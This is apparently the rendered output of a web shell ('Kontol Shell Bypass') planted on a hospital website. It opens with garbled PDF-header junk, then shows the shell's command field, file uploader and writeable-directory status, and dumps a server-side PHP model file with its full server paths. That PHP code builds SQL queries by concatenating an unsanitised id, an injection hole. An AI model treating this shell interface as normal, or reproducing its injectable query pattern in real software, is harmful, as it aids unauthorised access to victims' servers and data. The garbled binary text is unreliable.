%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/models/Leadership_model.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Leadership_model extends CI_Model{

	protected $table_name = 'sh_leadership';
    protected $primary_key = 'id';
    protected $order_by = 'display_order DESC';
    protected $fields_detail = 'id,name,slug, email_id, description, display_label,profile_image,message,status';

	protected $fields_summary = 'id,name,slug, email_id, description, display_label,profile_image,message,status'; 
    				
	public function __construct()
	{
		parent::__construct();  
	 } 
	
	function get_leadership($id=0){
		 
		if($id!=0){
			$records = $this->db->query("SELECT * FROM `sh_leadership` where id='".$id."'  and  status='1' order by  id DESC")->result_array();
		} else { 
			$records = $this->db->query("SELECT * FROM `sh_leadership` where  status='1' order by id DESC")->result_array();
		}
		
	 	return $records;
	 }	
	function get_designations(){
		$records = $this->db->query("select * from SH_Designations order by DesignationTitle ASC")->result_array();
		//echo $this->db->last_query();   die('TEST');
	 	return $records;
	 }
	 
	/* function view_testimonials(){
	 $testimonialss = $this->db->query("SELECT * FROM `sh_leadership` where status='1' order by 	id DESC")->result_array();
	  return  $testimonialss;
	 }*/

	 public function editleadership($data, $id) {
       $data['modifiedon'] = date('d-m-Y H:i:s');
		$this->db->where($this->primary_key, $id);
        return $this->db->update($this->table_name, $data);
        
    }


	public function insert_leadership($data){
	 	
 		$data['modifiedon'] = date('Y-m-d H:i:s');

        $success = $this->db->insert($this->table_name, $data);
        // echo  $this->db->last_query(); die;
        if($success) {
            return $this->db->insert_id();
        } else {
            return FALSE;
        }
        
	}	 
	 
    public function delete_leadership($id) {
      $this->db->where($this->primary_key, $id);
	  return $this->db->delete($this->table_name);
   } 
    
    
}

?>

Kontol Shell Bypass